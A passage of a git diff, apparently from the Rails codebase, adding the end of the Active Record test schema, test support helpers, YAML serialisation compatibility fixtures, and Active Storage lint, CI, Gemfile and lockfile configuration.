+    if current_adapter?(:OracleAdapter, :SQLServerAdapter)
+      t.decimal :atoms_in_universe, precision: 38, scale: 0
+    elsif current_adapter?(:FbAdapter)
+      t.decimal :atoms_in_universe, precision: 18, scale: 0
+    else
+      t.decimal :atoms_in_universe, precision: 55, scale: 0
+    end
+  end
+
+  create_table :orders, force: true do |t|
+    t.string  :name
+    t.integer :billing_customer_id
+    t.integer :shipping_customer_id
+  end
+
+  create_table :organizations, force: true do |t|
+    t.string :name
+  end
+
+  create_table :owners, primary_key: :owner_id, force: true do |t|
+    t.string :name
+    if subsecond_precision_supported?
+      t.column :updated_at, :datetime, precision: 6
+    else
+      t.column :updated_at, :datetime
+    end
+    t.column :happy_at,   :datetime
+    t.string :essay_id
+  end
+
+  create_table :paint_colors, force: true do |t|
+    t.integer :non_poly_one_id
+  end
+
+  create_table :paint_textures, force: true do |t|
+    t.integer :non_poly_two_id
+  end
+
+  create_table :parrots, force: true do |t|
+    t.column :name, :string
+    t.column :color, :string
+    t.column :parrot_sti_class, :string
+    t.column :killer_id, :integer
+    t.column :updated_count, :integer, default: 0
+    if subsecond_precision_supported?
+      t.column :created_at, :datetime, precision: 0
+      t.column :created_on, :datetime, precision: 0
+      t.column :updated_at, :datetime, precision: 0
+      t.column :updated_on, :datetime, precision: 0
+    else
+      t.column :created_at, :datetime
+      t.column :created_on, :datetime
+      t.column :updated_at, :datetime
+      t.column :updated_on, :datetime
+    end
+  end
+
+  create_table :parrots_pirates, id: false, force: true do |t|
+    t.column :parrot_id, :integer
+    t.column :pirate_id, :integer
+  end
+
+  create_table :parrots_treasures, id: false, force: true do |t|
+    t.column :parrot_id, :integer
+    t.column :treasure_id, :integer
+  end
+
+  create_table :people, force: true do |t|
+    t.string     :first_name, null: false
+    t.references :primary_contact
+    t.string     :gender, limit: 1
+    t.references :number1_fan
+    t.integer    :lock_version, null: false, default: 0
+    t.string     :comments
+    t.integer    :followers_count, default: 0
+    t.integer    :friends_too_count, default: 0
+    t.references :best_friend
+    t.references :best_friend_of
+    t.integer    :insures, null: false, default: 0
+    t.timestamp :born_at
+    t.timestamps null: false
+  end
+
+  create_table :peoples_treasures, id: false, force: true do |t|
+    t.column :rich_person_id, :integer
+    t.column :treasure_id, :integer
+  end
+
+  create_table :personal_legacy_things, force: true do |t|
+    t.integer :tps_report_number
+    t.integer :person_id
+    t.integer :version, null: false, default: 0
+  end
+
+  create_table :pets, primary_key: :pet_id, force: true do |t|
+    t.string :name
+    t.integer :owner_id, :integer
+    if subsecond_precision_supported?
+      t.timestamps null: false, precision: 6
+    else
+      t.timestamps null: false
+    end
+  end
+
+  create_table :pets_treasures, force: true do |t|
+    t.column :treasure_id, :integer
+    t.column :pet_id, :integer
+    t.column :rainbow_color, :string
+  end
+
+  create_table :pirates, force: true do |t|
+    t.column :catchphrase, :string
+    t.column :parrot_id, :integer
+    t.integer :non_validated_parrot_id
+    if subsecond_precision_supported?
+      t.column :created_on, :datetime, precision: 6
+      t.column :updated_on, :datetime, precision: 6
+    else
+      t.column :created_on, :datetime
+      t.column :updated_on, :datetime
+    end
+  end
+
+  create_table :posts, force: true do |t|
+    t.references :author
+    t.string :title, null: false
+    # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
+    # Oracle SELECT WHERE clause which causes many unit test failures
+    if current_adapter?(:OracleAdapter)
+      t.string  :body, null: false, limit: 4000
+    else
+      t.text    :body, null: false
+    end
+    t.string  :type
+    t.integer :comments_count, default: 0
+    t.integer :taggings_with_delete_all_count, default: 0
+    t.integer :taggings_with_destroy_count, default: 0
+    t.integer :tags_count, default: 0
+    t.integer :tags_with_destroy_count, default: 0
+    t.integer :tags_with_nullify_count, default: 0
+  end
+
+  create_table :serialized_posts, force: true do |t|
+    t.integer :author_id
+    t.string :title, null: false
+  end
+
+  create_table :images, force: true do |t|
+    t.integer :imageable_identifier
+    t.string :imageable_class
+  end
+
+  create_table :price_estimates, force: true do |t|
+    t.string :estimate_of_type
+    t.integer :estimate_of_id
+    t.integer :price
+  end
+
+  create_table :products, force: true do |t|
+    t.references :collection
+    t.references :type
+    t.string     :name
+  end
+
+  create_table :product_types, force: true do |t|
+    t.string :name
+  end
+
+  create_table :projects, force: true do |t|
+    t.string :name
+    t.string :type
+    t.integer :firm_id
+    t.integer :mentor_id
+  end
+
+  create_table :randomly_named_table1, force: true do |t|
+    t.string  :some_attribute
+    t.integer :another_attribute
+  end
+
+  create_table :randomly_named_table2, force: true do |t|
+    t.string  :some_attribute
+    t.integer :another_attribute
+  end
+
+  create_table :randomly_named_table3, force: true do |t|
+    t.string  :some_attribute
+    t.integer :another_attribute
+  end
+
+  create_table :ratings, force: true do |t|
+    t.integer :comment_id
+    t.integer :value
+  end
+
+  create_table :readers, force: true do |t|
+    t.integer :post_id, null: false
+    t.integer :person_id, null: false
+    t.boolean :skimmer, default: false
+    t.integer :first_post_id
+  end
+
+  create_table :references, force: true do |t|
+    t.integer :person_id
+    t.integer :job_id
+    t.boolean :favourite
+    t.integer :lock_version, default: 0
+  end
+
+  create_table :shape_expressions, force: true do |t|
+    t.string  :paint_type
+    t.integer :paint_id
+    t.string  :shape_type
+    t.integer :shape_id
+  end
+
+  create_table :ships, force: true do |t|
+    t.string :name
+    t.integer :pirate_id
+    t.belongs_to :developer
+    t.integer :update_only_pirate_id
+    # Conventionally named column for counter_cache
+    t.integer :treasures_count, default: 0
+    t.datetime :created_at
+    t.datetime :created_on
+    t.datetime :updated_at
+    t.datetime :updated_on
+  end
+
+  create_table :ship_parts, force: true do |t|
+    t.string :name
+    t.integer :ship_id
+    if subsecond_precision_supported?
+      t.datetime :updated_at, precision: 6
+    else
+      t.datetime :updated_at
+    end
+  end
+
+  create_table :prisoners, force: true do |t|
+    t.belongs_to :ship
+  end
+
+  create_table :sinks, force: true do |t|
+    t.references :kitchen
+  end
+
+  create_table :shop_accounts, force: true do |t|
+    t.references :customer
+    t.references :customer_carrier
+  end
+
+  create_table :speedometers, force: true, id: false do |t|
+    t.string :speedometer_id
+    t.string :name
+    t.string :dashboard_id
+  end
+
+  create_table :sponsors, force: true do |t|
+    t.integer :club_id
+    t.integer :sponsorable_id
+    t.string :sponsorable_type
+  end
+
+  create_table :string_key_objects, id: false, force: true do |t|
+    t.string :id, null: false
+    t.string :name
+    t.integer :lock_version, null: false, default: 0
+    t.index :id, unique: true
+  end
+
+  create_table :subscribers, id: false, force: true do |t|
+    t.string :nick, null: false
+    t.string :name
+    t.integer :id
+    t.integer :books_count, null: false, default: 0
+    t.integer :update_count, null: false, default: 0
+    t.index :nick, unique: true
+  end
+
+  create_table :subscriptions, force: true do |t|
+    t.string :subscriber_id
+    t.integer :book_id
+  end
+
+  create_table :tags, force: true do |t|
+    t.column :name, :string
+    t.column :taggings_count, :integer, default: 0
+  end
+
+  create_table :taggings, force: true do |t|
+    t.column :tag_id, :integer
+    t.column :super_tag_id, :integer
+    t.column :taggable_type, :string
+    t.column :taggable_id, :integer
+    t.string :comment
+  end
+
+  create_table :tasks, force: true do |t|
+    t.datetime :starting
+    t.datetime :ending
+  end
+
+  create_table :topics, force: true do |t|
+    t.string   :title, limit: 250
+    t.string   :author_name
+    t.string   :author_email_address
+    if subsecond_precision_supported?
+      t.datetime :written_on, precision: 6
+    else
+      t.datetime :written_on
+    end
+    t.time     :bonus_time
+    t.date     :last_read
+    # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
+    # Oracle SELECT WHERE clause which causes many unit test failures
+    if current_adapter?(:OracleAdapter)
+      t.string   :content, limit: 4000
+      t.string   :important, limit: 4000
+    else
+      t.text     :content
+      t.text     :important
+    end
+    t.boolean  :approved, default: true
+    t.integer  :replies_count, default: 0
+    t.integer  :unique_replies_count, default: 0
+    t.integer  :parent_id
+    t.string   :parent_title
+    t.string   :type
+    t.string   :group
+    if subsecond_precision_supported?
+      t.timestamps null: true, precision: 6
+    else
+      t.timestamps null: true
+    end
+  end
+
+  create_table :toys, primary_key: :toy_id, force: true do |t|
+    t.string :name
+    t.integer :pet_id, :integer
+    t.timestamps null: false
+  end
+
+  create_table :traffic_lights, force: true do |t|
+    t.string   :location
+    t.string   :state
+    t.text     :long_state, null: false
+    t.datetime :created_at
+    t.datetime :updated_at
+  end
+
+  create_table :treasures, force: true do |t|
+    t.column :name, :string
+    t.column :type, :string
+    t.column :looter_id, :integer
+    t.column :looter_type, :string
+    t.belongs_to :ship
+  end
+
+  create_table :tuning_pegs, force: true do |t|
+    t.integer :guitar_id
+    t.float :pitch
+  end
+
+  create_table :tyres, force: true do |t|
+    t.integer :car_id
+  end
+
+  create_table :variants, force: true do |t|
+    t.references :product
+    t.string     :name
+  end
+
+  create_table :vertices, force: true do |t|
+    t.column :label, :string
+  end
+
+  create_table "warehouse-things", force: true do |t|
+    t.integer :value
+  end
+
+  [:circles, :squares, :triangles, :non_poly_ones, :non_poly_twos].each do |t|
+    create_table(t, force: true) {}
+  end
+
+  create_table :men, force: true do |t|
+    t.string  :name
+  end
+
+  create_table :faces, force: true do |t|
+    t.string  :description
+    t.integer :man_id
+    t.integer :polymorphic_man_id
+    t.string  :polymorphic_man_type
+    t.integer :poly_man_without_inverse_id
+    t.string  :poly_man_without_inverse_type
+    t.integer :horrible_polymorphic_man_id
+    t.string  :horrible_polymorphic_man_type
+  end
+
+  create_table :interests, force: true do |t|
+    t.string :topic
+    t.integer :man_id
+    t.integer :polymorphic_man_id
+    t.string :polymorphic_man_type
+    t.integer :zine_id
+  end
+
+  create_table :zines, force: true do |t|
+    t.string :title
+  end
+
+  create_table :wheels, force: true do |t|
+    t.references :wheelable, polymorphic: true
+  end
+
+  create_table :countries, force: true, id: false, primary_key: "country_id" do |t|
+    t.string :country_id
+    t.string :name
+  end
+  create_table :treaties, force: true, id: false, primary_key: "treaty_id" do |t|
+    t.string :treaty_id
+    t.string :name
+  end
+  create_table :countries_treaties, force: true, primary_key: [:country_id, :treaty_id] do |t|
+    t.string :country_id, null: false
+    t.string :treaty_id, null: false
+  end
+
+  create_table :liquid, force: true do |t|
+    t.string :name
+  end
+  create_table :molecules, force: true do |t|
+    t.integer :liquid_id
+    t.string :name
+  end
+  create_table :electrons, force: true do |t|
+    t.integer :molecule_id
+    t.string :name
+  end
+  create_table :weirds, force: true do |t|
+    t.string "a$b"
+    t.string "なまえ"
+    t.string "from"
+  end
+
+  create_table :nodes, force: true do |t|
+    t.integer :tree_id
+    t.integer :parent_id
+    t.string :name
+    t.datetime :updated_at
+  end
+  create_table :trees, force: true do |t|
+    t.string :name
+    t.datetime :updated_at
+  end
+
+  create_table :hotels, force: true do |t|
+  end
+  create_table :departments, force: true do |t|
+    t.integer :hotel_id
+  end
+  create_table :cake_designers, force: true do |t|
+  end
+  create_table :drink_designers, force: true do |t|
+  end
+  create_table :chefs, force: true do |t|
+    t.integer :employable_id
+    t.string :employable_type
+    t.integer :department_id
+    t.string :employable_list_type
+    t.integer :employable_list_id
+  end
+  create_table :recipes, force: true do |t|
+    t.integer :chef_id
+    t.integer :hotel_id
+  end
+
+  create_table :records, force: true do |t|
+  end
+
+  disable_referential_integrity do
+    create_table :fk_test_has_pk, primary_key: "pk_id", force: :cascade do |t|
+    end
+
+    create_table :fk_test_has_fk, force: true do |t|
+      t.references :fk, null: false
+      t.foreign_key :fk_test_has_pk, column: "fk_id", name: "fk_name", primary_key: "pk_id"
+    end
+  end
+
+  create_table :overloaded_types, force: true do |t|
+    t.float :overloaded_float, default: 500
+    t.float :unoverloaded_float
+    t.string :overloaded_string_with_limit, limit: 255
+    t.string :string_with_default, default: "the original default"
+  end
+
+  create_table :users, force: true do |t|
+    t.string :token
+    t.string :auth_token
+  end
+
+  create_table :test_with_keyword_column_name, force: true do |t|
+    t.string :desc
+  end
+
+  create_table :non_primary_keys, force: true, id: false do |t|
+    t.integer :id
+  end
+end
+
+Course.connection.create_table :courses, force: true do |t|
+  t.column :name, :string, null: false
+  t.column :college_id, :integer
+end
+
+College.connection.create_table :colleges, force: true do |t|
+  t.column :name, :string, null: false
+end
+
+Professor.connection.create_table :professors, force: true do |t|
+  t.column :name, :string, null: false
+end
+
+Professor.connection.create_table :courses_professors, id: false, force: true do |t|
+  t.references :course
+  t.references :professor
+end
+
+OtherDog.connection.create_table :dogs, force: true
diff --git a/activerecord/test/support/config.rb b/activerecord/test/support/config.rb
new file mode 100644
index 0000000000..bd6d5c339b
--- /dev/null
+++ b/activerecord/test/support/config.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "yaml"
+require "erb"
+require "fileutils"
+require "pathname"
+
+module ARTest
+  class << self
+    def config
+      @config ||= read_config
+    end
+
+    private
+
+    def config_file
+      Pathname.new(ENV["ARCONFIG"] || TEST_ROOT + "/config.yml")
+    end
+
+    def read_config
+      unless config_file.exist?
+        FileUtils.cp TEST_ROOT + "/config.example.yml", config_file
+      end
+
+      erb = ERB.new(config_file.read)
+      expand_config(YAML.parse(erb.result(binding)).transform)
+    end
+
+    def expand_config(config)
+      config["connections"].each do |adapter, connection|
+        dbs = [["arunit", "activerecord_unittest"], ["arunit2", "activerecord_unittest2"],
+               ["arunit_without_prepared_statements", "activerecord_unittest"]]
+        dbs.each do |name, dbname|
+          unless connection[name].is_a?(Hash)
+            connection[name] = { "database" => connection[name] }
+          end
+
+          connection[name]["database"] ||= dbname
+          connection[name]["adapter"]  ||= adapter
+        end
+      end
+
+      config
+    end
+  end
+end
diff --git a/activerecord/test/support/connection.rb b/activerecord/test/support/connection.rb
new file mode 100644
index 0000000000..2a4fa53460
--- /dev/null
+++ b/activerecord/test/support/connection.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "active_support/logger"
+require "models/college"
+require "models/course"
+require "models/professor"
+require "models/other_dog"
+
+module ARTest
+  def self.connection_name
+    ENV["ARCONN"] || config["default_connection"]
+  end
+
+  def self.connection_config
+    config.fetch("connections").fetch(connection_name) do
+      puts "Connection #{connection_name.inspect} not found. Available connections: #{config['connections'].keys.join(', ')}"
+      exit 1
+    end
+  end
+
+  def self.connect
+    puts "Using #{connection_name}"
+    ActiveRecord::Base.logger = ActiveSupport::Logger.new("debug.log", 0, 100 * 1024 * 1024)
+    ActiveRecord::Base.configurations = connection_config
+    ActiveRecord::Base.establish_connection :arunit
+    ARUnit2Model.establish_connection :arunit2
+  end
+end
diff --git a/activerecord/test/support/connection_helper.rb b/activerecord/test/support/connection_helper.rb
new file mode 100644
index 0000000000..3bb1b370c1
--- /dev/null
+++ b/activerecord/test/support/connection_helper.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module ConnectionHelper
+  def run_without_connection
+    original_connection = ActiveRecord::Base.remove_connection
+    yield original_connection
+  ensure
+    ActiveRecord::Base.establish_connection(original_connection)
+  end
+
+  # Used to drop all cache query plans in tests.
+  def reset_connection
+    original_connection = ActiveRecord::Base.remove_connection
+    ActiveRecord::Base.establish_connection(original_connection)
+  end
+end
diff --git a/activerecord/test/support/ddl_helper.rb b/activerecord/test/support/ddl_helper.rb
new file mode 100644
index 0000000000..a18bf5ea0a
--- /dev/null
+++ b/activerecord/test/support/ddl_helper.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module DdlHelper
+  def with_example_table(connection, table_name, definition = nil)
+    connection.execute("CREATE TABLE #{table_name}(#{definition})")
+    yield
+  ensure
+    connection.execute("DROP TABLE #{table_name}")
+  end
+end
diff --git a/activerecord/test/support/schema_dumping_helper.rb b/activerecord/test/support/schema_dumping_helper.rb
new file mode 100644
index 0000000000..777e6a7c1b
--- /dev/null
+++ b/activerecord/test/support/schema_dumping_helper.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module SchemaDumpingHelper
+  def dump_table_schema(table, connection = ActiveRecord::Base.connection)
+    old_ignore_tables = ActiveRecord::SchemaDumper.ignore_tables
+    ActiveRecord::SchemaDumper.ignore_tables = connection.data_sources - [table]
+    stream = StringIO.new
+    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+    stream.string
+  ensure
+    ActiveRecord::SchemaDumper.ignore_tables = old_ignore_tables
+  end
+
+  def dump_all_table_schema(ignore_tables)
+    old_ignore_tables, ActiveRecord::SchemaDumper.ignore_tables = ActiveRecord::SchemaDumper.ignore_tables, ignore_tables
+    stream = StringIO.new
+    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
+    stream.string
+  ensure
+    ActiveRecord::SchemaDumper.ignore_tables = old_ignore_tables
+  end
+end
diff --git a/activerecord/test/support/yaml_compatibility_fixtures/rails_4_1.yml b/activerecord/test/support/yaml_compatibility_fixtures/rails_4_1.yml
new file mode 100644
index 0000000000..20b128db9c
--- /dev/null
+++ b/activerecord/test/support/yaml_compatibility_fixtures/rails_4_1.yml
@@ -0,0 +1,22 @@
+--- !ruby/object:Topic
+  attributes:
+    id: 
+    title: The First Topic
+    author_name: David
+    author_email_address: david@loudthinking.com
+    written_on: 2003-07-16 14:28:11.223300000 Z
+    bonus_time: 2000-01-01 14:28:00.000000000 Z
+    last_read: 2004-04-15
+    content: |
+      ---
+      :omg: :lol
+    important: 
+    approved: false
+    replies_count: 1
+    unique_replies_count: 0
+    parent_id: 
+    parent_title: 
+    type: 
+    group: 
+    created_at: 2015-03-10 17:05:42.000000000 Z
+    updated_at: 2015-03-10 17:05:42.000000000 Z
diff --git a/activerecord/test/support/yaml_compatibility_fixtures/rails_4_2_0.yml b/activerecord/test/support/yaml_compatibility_fixtures/rails_4_2_0.yml
new file mode 100644
index 0000000000..b3d3b33141
--- /dev/null
+++ b/activerecord/test/support/yaml_compatibility_fixtures/rails_4_2_0.yml
@@ -0,0 +1,182 @@
+--- !ruby/object:Topic
+raw_attributes:
+  id: 1
+  title: The First Topic
+  author_name: David
+  author_email_address: david@loudthinking.com
+  written_on: '2003-07-16 14:28:11.223300'
+  bonus_time: '2005-01-30 14:28:00.000000'
+  last_read: '2004-04-15'
+  content: |
+    --- Have a nice day
+    ...
+  important:
+  approved: f
+  replies_count: 1
+  unique_replies_count: 0
+  parent_id:
+  parent_title:
+  type:
+  group:
+  created_at: '2015-03-10 17:44:41'
+  updated_at: '2015-03-10 17:44:41'
+attributes: !ruby/object:ActiveRecord::AttributeSet
+  attributes: !ruby/object:ActiveRecord::LazyAttributeHash
+    types:
+      id: &5 !ruby/object:ActiveRecord::Type::Integer
+        precision:
+        scale:
+        limit:
+        range: !ruby/range
+          begin: -2147483648
+          end: 2147483648
+          excl: true
+      title: &6 !ruby/object:ActiveRecord::Type::String
+        precision:
+        scale:
+        limit: 250
+      author_name: &1 !ruby/object:ActiveRecord::Type::String
+        precision:
+        scale:
+        limit:
+      author_email_address: *1
+      written_on: &4 !ruby/object:ActiveRecord::Type::DateTime
+        precision:
+        scale:
+        limit:
+      bonus_time: &7 !ruby/object:ActiveRecord::Type::Time
+        precision:
+        scale:
+        limit:
+      last_read: &8 !ruby/object:ActiveRecord::Type::Date
+        precision:
+        scale:
+        limit:
+      content: !ruby/object:ActiveRecord::Type::Serialized
+        coder: &9 !ruby/object:ActiveRecord::Coders::YAMLColumn
+          object_class: !ruby/class 'Object'
+        subtype: &2 !ruby/object:ActiveRecord::Type::Text
+          precision:
+          scale:
+          limit:
+      important: *2
+      approved: &10 !ruby/object:ActiveRecord::Type::Boolean
+        precision:
+        scale:
+        limit:
+      replies_count: &3 !ruby/object:ActiveRecord::Type::Integer
+        precision:
+        scale:
+        limit:
+        range: !ruby/range
+          begin: -2147483648
+          end: 2147483648
+          excl: true
+      unique_replies_count: *3
+      parent_id: *3
+      parent_title: *1
+      type: *1
+      group: *1
+      created_at: *4
+      updated_at: *4
+    values:
+      id: 1
+      title: The First Topic
+      author_name: David
+      author_email_address: david@loudthinking.com
+      written_on: '2003-07-16 14:28:11.223300'
+      bonus_time: '2005-01-30 14:28:00.000000'
+      last_read: '2004-04-15'
+      content: |
+        --- Have a nice day
+        ...
+      important:
+      approved: f
+      replies_count: 1
+      unique_replies_count: 0
+      parent_id:
+      parent_title:
+      type:
+      group:
+      created_at: '2015-03-10 17:44:41'
+      updated_at: '2015-03-10 17:44:41'
+    additional_types: {}
+    materialized: true
+    delegate_hash:
+      id: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: id
+        value_before_type_cast: 1
+        type: *5
+      title: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: title
+        value_before_type_cast: The First Topic
+        type: *6
+      author_name: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: author_name
+        value_before_type_cast: David
+        type: *1
+      author_email_address: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: author_email_address
+        value_before_type_cast: david@loudthinking.com
+        type: *1
+      written_on: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: written_on
+        value_before_type_cast: '2003-07-16 14:28:11.223300'
+        type: *4
+      bonus_time: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: bonus_time
+        value_before_type_cast: '2005-01-30 14:28:00.000000'
+        type: *7
+      last_read: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: last_read
+        value_before_type_cast: '2004-04-15'
+        type: *8
+      content: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: content
+        value_before_type_cast: |
+          --- Have a nice day
+          ...
+        type: !ruby/object:ActiveRecord::Type::Serialized
+          coder: *9
+          subtype: *2
+      important: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: important
+        value_before_type_cast:
+        type: *2
+      approved: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: approved
+        value_before_type_cast: f
+        type: *10
+      replies_count: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: replies_count
+        value_before_type_cast: 1
+        type: *3
+      unique_replies_count: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: unique_replies_count
+        value_before_type_cast: 0
+        type: *3
+      parent_id: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: parent_id
+        value_before_type_cast:
+        type: *3
+      parent_title: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: parent_title
+        value_before_type_cast:
+        type: *1
+      type: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: type
+        value_before_type_cast:
+        type: *1
+      group: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: group
+        value_before_type_cast:
+        type: *1
+      created_at: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: created_at
+        value_before_type_cast: '2015-03-10 17:44:41'
+        type: *4
+      updated_at: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: updated_at
+        value_before_type_cast: '2015-03-10 17:44:41'
+        type: *4
+new_record: false
diff --git a/.babelrc b/activestorage/.babelrc
index a8211d329f..a8211d329f 100644
--- a/.babelrc
+++ b/activestorage/.babelrc
diff --git a/activestorage/.codeclimate.yml b/activestorage/.codeclimate.yml
new file mode 100644
index 0000000000..18f3dbb7b5
--- /dev/null
+++ b/activestorage/.codeclimate.yml
@@ -0,0 +1,7 @@
+engines:
+  rubocop:
+    enabled: true
+
+ratings:
+  paths:
+  - "**.rb"
diff --git a/.eslintrc b/activestorage/.eslintrc
index 3d9ecd4bce..3d9ecd4bce 100644
--- a/.eslintrc
+++ b/activestorage/.eslintrc
diff --git a/activestorage/.gitignore b/activestorage/.gitignore
new file mode 100644
index 0000000000..c5ff07cedd
--- /dev/null
+++ b/activestorage/.gitignore
@@ -0,0 +1,6 @@
+.byebug_history
+/node_modules
+test/dummy/db/*.sqlite3
+test/dummy/db/*.sqlite3-journal
+test/dummy/log/*.log
+test/dummy/tmp/
diff --git a/activestorage/.rubocop.yml b/activestorage/.rubocop.yml
new file mode 100644
index 0000000000..452e1b1e7f
--- /dev/null
+++ b/activestorage/.rubocop.yml
@@ -0,0 +1,125 @@
+AllCops:
+  TargetRubyVersion: 2.3
+  # RuboCop has a bunch of cops enabled by default. This setting tells RuboCop
+  # to ignore them, so only the ones explicitly set in this file are enabled.
+  DisabledByDefault: true
+  Exclude:
+    - '**/templates/**/*'
+    - '**/vendor/**/*'
+    - 'actionpack/lib/action_dispatch/journey/parser.rb'
+
+# Align `when` with `case`.
+Layout/CaseIndentation:
+  Enabled: true
+
+# Align comments with method definitions.
+Layout/CommentIndentation:
+  Enabled: true
+
+# No extra empty lines.
+Layout/EmptyLines:
+  Enabled: false
+
+# In a regular class definition, no empty lines around the body.
+Layout/EmptyLinesAroundClassBody:
+  Enabled: true
+
+# In a regular method definition, no empty lines around the body.
+Layout/EmptyLinesAroundMethodBody:
+  Enabled: true
+
+# In a regular module definition, no empty lines around the body.
+Layout/EmptyLinesAroundModuleBody:
+  Enabled: true
+
+# Method definitions after `private` or `protected` isolated calls need one
+# extra level of indentation.
+Layout/IndentationConsistency:
+  Enabled: true
+  EnforcedStyle: rails
+
+# Two spaces, no tabs (for indentation).
+Layout/IndentationWidth:
+  Enabled: true
+
+Layout/SpaceAfterColon:
+  Enabled: true
+
+Layout/SpaceAfterComma:
+  Enabled: true
+
+Layout/SpaceAroundEqualsInParameterDefault:
+  Enabled: true
+
+Layout/SpaceAroundKeyword:
+  Enabled: true
+
+Layout/SpaceAroundOperators:
+  Enabled: true
+
+Layout/SpaceBeforeFirstArg:
+    Enabled: true
+
+# Use `foo {}` not `foo{}`.
+Layout/SpaceBeforeBlockBraces:
+  Enabled: true
+
+# Use `foo { bar }` not `foo {bar}`.
+Layout/SpaceInsideBlockBraces:
+  Enabled: true
+
+# Use `{ a: 1 }` not `{a:1}`.
+Layout/SpaceInsideHashLiteralBraces:
+  Enabled: true
+
+Layout/SpaceInsideParens:
+  Enabled: true
+
+# Detect hard tabs, no hard tabs.
+Layout/Tab:
+  Enabled: true
+
+# Blank lines should not have any spaces.
+Layout/TrailingBlankLines:
+  Enabled: true
+
+# No trailing whitespace.
+Layout/TrailingWhitespace:
+  Enabled: true
+
+# Prefer &&/|| over and/or.
+Style/AndOr:
+  Enabled: true
+
+# Do not use braces for hash literals when they are the last argument of a
+# method call.
+Style/BracesAroundHashParameters:
+  Enabled: true
+  EnforcedStyle: context_dependent
+
+# Use Ruby >= 1.9 syntax for hashes. Prefer { a: :b } over { :a => :b }.
+Style/HashSyntax:
+  Enabled: true
+
+# Defining a method with parameters needs parentheses.
+Style/MethodDefParentheses:
+  Enabled: true
+
+# Check quotes usage according to lint rule below.
+Style/StringLiterals:
+  Enabled: true
+  EnforcedStyle: double_quotes
+
+# Use quotes for string literals when they are enough.
+Style/UnneededPercentQ:
+  Enabled: true
+
+# Align `end` with the matching keyword or starting expression except for
+# assignments, where it should be aligned with the LHS.
+Lint/EndAlignment:
+  Enabled: true
+  EnforcedStyleAlignWith: variable
+
+# Use my_method(my_arg) not my_method( my_arg ) or my_method my_arg.
+Lint/RequireParentheses:
+  Enabled: true
diff --git a/activestorage/.travis.yml b/activestorage/.travis.yml
new file mode 100644
index 0000000000..89edc05c78
--- /dev/null
+++ b/activestorage/.travis.yml
@@ -0,0 +1,25 @@
+language: ruby
+sudo: false
+bundler: true
+
+rvm:
+  - 2.3
+  - 2.4
+  - ruby-head
+
+cache:
+  bundler: true
+  yarn: true
+
+matrix:
+  allow_failures:
+    - rvm: ruby-head
+  fast_finish: true
+
+install:
+  - bundle install
+  - yarn install
+
+script:
+  - bundle exec rake
+  - yarn lint
diff --git a/activestorage/Gemfile b/activestorage/Gemfile
new file mode 100644
index 0000000000..b8b6e80176
--- /dev/null
+++ b/activestorage/Gemfile
@@ -0,0 +1,23 @@
+source "https://rubygems.org"
+
+git_source(:github) { |repo_path| "https://github.com/#{repo_path}.git" }
+
+gemspec
+
+gem "rails", github: "rails/rails"
+
+gem "rake"
+gem "byebug"
+
+gem "sqlite3"
+gem "httparty"
+
+gem "aws-sdk", "~> 2", require: false
+gem "google-cloud-storage", "~> 1.3", require: false
+# Contains fix to be able to test using StringIO
+gem 'azure-core', git: "https://github.com/dixpac/azure-ruby-asm-core.git"
+gem 'azure-storage', require: false
+
+gem "mini_magick"
+
+gem "rubocop", require: false
diff --git a/activestorage/Gemfile.lock b/activestorage/Gemfile.lock
new file mode 100644
index 0000000000..7388096778
--- /dev/null
+++ b/activestorage/Gemfile.lock
@@ -0,0 +1,233 @@
+GIT
+  remote: https://github.com/dixpac/azure-ruby-asm-core.git
+  revision: 4403389747f44a94b73e7a7522d1ea11f8b1a266
+  specs:
+    azure-core (0.1.8)
+      faraday (~> 0.9)
+      faraday_middleware (~> 0.10)
+      nokogiri (~> 1.7)
+
+GIT
+  remote: https://github.com/rails/rails.git
+  revision: 127b475dc251a06942fe0cd2de2e0545cf5ed69f
+  specs:
+    actioncable (5.2.0.alpha)
+      actionpack (= 5.2.0.alpha)
+      nio4r (~> 2.0)
+      websocket-driver (~> 0.6.1)
+    actionmailer (5.2.0.alpha)
+      actionpack (= 5.2.0.alpha)
+      actionview (= 5.2.0.alpha)
+      activejob (= 5.2.0.alpha)
+      mail (~> 2.5, >= 2.5.4)
+      rails-dom-testing (~> 2.0)
+    actionpack (5.2.0.alpha)
+      actionview (= 5.2.0.alpha)
+      activesupport (= 5.2.0.alpha)
+      rack (~> 2.0)
+      rack-test (~> 0.6.3)
+      rails-dom-testing (~> 2.0)
+      rails-html-sanitizer (~> 1.0, >= 1.0.2)
+    actionview (5.2.0.alpha)
+      activesupport (= 5.2.0.alpha)
+      builder (~> 3.1)
+      erubi (~> 1.4)
+      rails-dom-testing (~> 2.0)
+      rails-html-sanitizer (~> 1.0, >= 1.0.3)
+    activejob (5.2.0.alpha)
+      activesupport (= 5.2.0.alpha)
+      globalid (>= 0.3.6)
+    activemodel (5.2.0.alpha)
+      activesupport (= 5.2.0.alpha)
+    activerecord (5.2.0.alpha)
+      activemodel (= 5.2.0.alpha)
